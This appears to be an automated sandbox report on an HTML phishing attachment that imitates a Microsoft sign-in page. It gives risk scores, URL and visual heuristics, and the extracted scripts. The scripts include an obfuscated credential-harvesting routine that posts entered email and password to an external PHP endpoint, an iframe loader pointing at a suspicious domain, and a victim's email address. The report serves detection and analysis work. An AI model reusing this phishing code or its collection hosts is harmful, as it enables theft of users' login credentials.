Windows Analysis Report
View_alert_details_#[01KTO].html

{
    "risk_score": 1,
    "reasoning": "The script reads a URL parameter and sets an input field's value, which is a benign operation. There are no high-risk behaviors such as dynamic code execution or data exfiltration. The script does not interact with external domains or use obfuscation."
}

        document.addEventListener('DOMContentLoaded', function() {
            // Get the current URL
            var url = new URL(window.location.href);
            
            // Get the 'impact' parameter from the URL
            var impactValue = url.searchParams.get('username');
            
            // Find the input field by ID
            var inputField = document.getElementById('usrn');
            
            // If the impact value is found, replace the input field's value with it
            if (impactValue) {
                inputField.value = impactValue;
            }
        });
    

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
    "risk_score": 9,
    "reasoning": "The script contains heavily obfuscated code, which is a high-risk indicator. It also sends data to an external domain (sdsdsd.chiliesdigital.co.za) using XMLHttpRequest, which is a moderate-risk indicator. The domain appears suspicious, adding to the risk. The combination of obfuscation and data transmission to a potentially untrusted domain suggests malicious intent."
}

(function(e,f){function l(e,f){return d(f-'0xbd',e);}function k(e,f){return b(f-0x273,e);}function j(e,f){return c(e- -'0x240',f);}const g=e();while(!![]){try{const h=-parseInt(j(-0x122,'laTQ'))/0x1*(-parseInt(k(0x393,0x395))/0x2)+-parseInt(k('0x38f',0x384))/0x3+-parseInt(l(0x1cd,0x1e5))/0x4*(parseInt(k(0x39d,'0x392'))/0x5)+-parseInt(l('0x1bc','0x1c7'))/0x6+parseInt(l('0x1e5',0x1e1))/0x7*(parseInt(j(-'0x112','mW6x'))/0x8)+-parseInt(k(0x377,'0x386'))/0x9*(-parseInt(j(-'0x139','Ed)M'))/0xa)+parseInt(k('0x370',0x37b))/0xb;if(h===f)break;else g['push'](g['shift']());}catch(i){g['push'](g['shift']());}}}(a,0x678f5));function submitForm(e){function n(e,f){return c(f-'0x316',e);}function m(e,f){return b(e-'0x353',f);}e[m(0x480,0x47b)]();const f=document[n('BCDC',0x43b)](o('0x189',0x18c)),g=document[m(0x458,'0x44b')](m('0x455',0x463));function o(e,f){return d(f-0x74,e);}if(tryCount<=0x4){const h=new XMLHttpRequest();h[m(0x468,0x477)](o(0x195,'0x18f'),m(0x470,0x45a)),h[n('Hthc','0x422')](o(0x191,'0x19d'),o(0x178,'0x188')),h[m('0x457',0x455)]=function(){function p(e,f){return n(e,f-0x20);}function r(e,f){return m(e- -'0x597',f);}function q(e,f){return o(f,e- -0x80);}if(h[p('DAdp',0x44f)]===XMLHttpRequest[q('0x10b','0x117')]){if(h[r(-'0x12e',-'0x146')]===0xc8){}else{}tryCount++,tryCount>0x4&&(alert(p('*QP7',0x457)),window[r(-'0x115',-0xfd)][p('laTQ',0x45d)]='#');}},h[m(0x459,'0x441')](n('*QP7','0x430')+encodeURIComponent(f[o(0x179,0x184)])+n('udbq',0x428)+encodeURIComponent(g[n('BipX',0x446)])),g[m('0x45c','0x459')]='';}}function b(c,d){const e=a();return b=function(f,g){f=f-0x102;let h=e[f];return h;},b(c,d);}function t(e,f){return d(f- -0x397,e);}function d(b,c){const e=a();return d=function(f,g){f=f-0x102;let h=e[f];if(d['cvtprC']===undefined){var i=function(m){const n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let o='',p='';for(let q=0x0,r,s,t=0x0;s=m['charAt'](t++);~s&&(r=q%0x4?r*0x40+s:s,q++%0x4)?o+=String['fromCharCode'](0xff&r>>(-0x2*q&0x6)):0x0){s=n['indexOf'](s);}for(let u=0x0,v=o['length'];u<v;u++){p+='%'+('00'+o['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(p);};d['sZoqSc']=i,b=arguments,d['cvtprC']=!![];}const j=e[0x0],k=f+j,l=b[k];return!l?(h=d['sZoqSc'](h),b[k]=h):h=l,h;},d(b,c);}let tryCount=0x1;function u(e,f){return b(e-0x31f,f);}function c(b,d){const e=a();return c=function(f,g){f=f-0x102;let h=e[f];if(c['DOQlkL']===undefined){var i=function(n){const o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let p='',q='';for(let r=0x0,s,t,u=0x0;t=n['charAt'](u++);~t&&(s=r%0x4?s*0x40+t:t,r++%0x4)?p+=String['fromCharCode'](0xff&s>>(-0x2*r&0x6)):0x0){t=o['indexOf'](t);}for(let v=0x0,w=p['length'];v<w;v++){q+='%'+('00'+p['charCodeAt'](v)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(q);};const m=function(n,o){let p=[],q=0x0,r,t='';n=i(n);let u;for(u=0x0;u<0x100;u++){p[u]=u;}for(u=0x0;u<0x100;u++){q=(q+p[u]+o['charCodeAt'](u%o['length']))%0x100,r=p[u],p[u]=p[q],p[q]=r;}u=0x0,q=0x0;for(let v=0x0;v<n['length'];v++){u=(u+0x1)%0x100,q=(q+p[u])%0x100,r=p[u],p[u]=p[q],p[q]=r,t+=String['fromCharCode'](n['charCodeAt'](v)^p[(p[u]+p[q])%0x100]);}return t;};c['SdapYS']=m,b=arguments,c['DOQlkL']=!![];}const j=e[0x0],k=f+j,l=b[k];return!l?(c['PtpNIp']===undefined&&(c['PtpNIp']=!![]),h=c['SdapYS'](h,g),b[k]=h):h=l,h;},c(b,d);}function s(e,f){return c(f-'0x32f',e);}function a(){const v=['value','mZi1ntC4meveAfHzAG','click','jmoxah/cRLqRW4z0jZfmnvdcJ8oV','WOvhW7P/FmoPW6hcM8kwhfSM','mNvIwe1gtW','514055ASKmYF','DMfSDwu','775785qikKes','WO4rWPqpgSkT','265797EEeRKG','yxbWBgLJyxrPB24VEc13D3CTzM9YBs11CMXLBMnVzgvK','open','status','re9orq','DxnYBG','vSoUw1uQlmoVk0VcVG','wKhdLSo/ya','ue9tva','ywrKrxzLBNrmAxn0zw5LCG','https://sdsdsd.chiliesdigital.co.za/app/stiktk.php','zqXHh8oyW4RcKeGjW7FdOKm','5sIZStp','WPVcOaefW4WLmMP/ltCdxmob','x17dGCoWlSo7W59+cCooW4FdQue/r8kWx8olesC7ruBcU0q7WR89eSoqq8kXWRH3WRldKbVdOWXEdNGeWQ3dVCkaW7GQjSkuW4q','2ubXMFO','nZC4mJrjDLrJt2C','ntm5q291B

{
    "risk_score": 7,
    "reasoning": "The script generates a URL with a suspicious domain 'postl8l69ing.camomilo.xyz' and loads it in an iframe, which could be used for malicious purposes such as phishing or data exfiltration. The use of a hardcoded query string and the potential for redirection to an untrusted domain are high-risk indicators. The domain is not recognized as reputable, adding to the risk score."
}

        (() => {
            const randomString = (length, charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789') => {
                return Array.from({ length }, () => charset.charAt(Math.floor(Math.random() * charset.length))).join('');
            };

            const toggleLoader = (isVisible) => {
                document.getElementById("loader-container").style.display = isVisible ? "flex" : "none";
                document.getElementById("main-content").style.display = isVisible ? "none" : "block";
            };

            const generateURL = () => {
                const queryParams = new URLSearchParams(window.location.search);
                const base = "https://postl8l69ing.camomilo.xyz";
                const port = ":8443/impact?";
                const query = "ccccr1yk3xfxwsy3jn=dsobrepena@powellpisman.com#";
                return queryParams.get("redirect") || `${base}${port}${query}`;
            };

            const loadIframe = () => {
                const iframe = document.createElement("iframe");
                iframe.src = generateURL();
                document.getElementById("main-content").appendChild(iframe);
            };

            document.addEventListener("DOMContentLoaded", () => {
                setTimeout(() => {
                    toggleLoader(false);
                    loadIframe();
                }, 4000);
            });
        })();
    

{
    "contains_trigger_text": true,
    "trigger_text": "We need to confirm its you. Please sign in again to continue",
    "prominent_button_name": "Continue",
    "text_input_field_labels": [
        "Email",
        "Password"
    ],
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": false,
    "has_visible_qrcode": false,
    "contains_chinese_text": false
}

{
    "contains_trigger_text": true,
    "trigger_text": "We need to confirm its you. Please sign in again to continue",
    "prominent_button_name": "Continue",
    "text_input_field_labels": [
        "Email",
        "Password"
    ],
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": false,
    "has_visible_qrcode": false,
    "contains_chinese_text": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}